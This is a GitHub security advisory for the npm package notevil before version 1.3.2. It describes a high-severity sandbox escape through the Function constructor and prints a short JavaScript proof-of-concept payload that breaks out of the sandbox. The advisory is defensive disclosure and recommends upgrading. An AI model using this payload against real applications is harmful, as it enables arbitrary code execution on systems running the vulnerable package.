GHSA-7r5f-7qr4-pf6q – notevil
Package
Manager: npm
Name: notevil
Vulnerable Version: >=0 <1.3.2
Severity
Level: High
CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N/E:H/RL:U/RC:C
CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS: N/A pctlN/A
Details
Sandbox Breakout / Arbitrary Code Execution in notevil Versions of `notevil` prior to 1.3.2 are vulnerable to Sandbox Escape leading to Remote Code Execution. The package fails to prevent access to the `Function` constructor by not checking the return values of function calls. This allows attackers to access the Function prototype's constructor leading to the Sandbox Escape. An example payload is: ``` var safeEval = require('notevil') var input = "" + "function fn() {};" + "var constructorProperty = Object.getOwnPropertyDescriptors(fn.__proto__).constructor;" + "var properties = Object.values(constructorProperty);" + "properties.pop();" + "properties.pop();" + "properties.pop();" + "var Function = properties.pop();" + "(Function('return this'))()"; safeEval(input)``` ## Recommendation Upgrade to version 1.3.2 or later.
Metadata
Created: 2020-09-03T19:03:33Z
Modified: 2020-08-31T18:47:00Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/09/GHSA-7r5f-7qr4-pf6q/GHSA-7r5f-7qr4-pf6q.json
CWE IDs: []
Alternative ID: N/A
Finding: F422
Auto approve: 1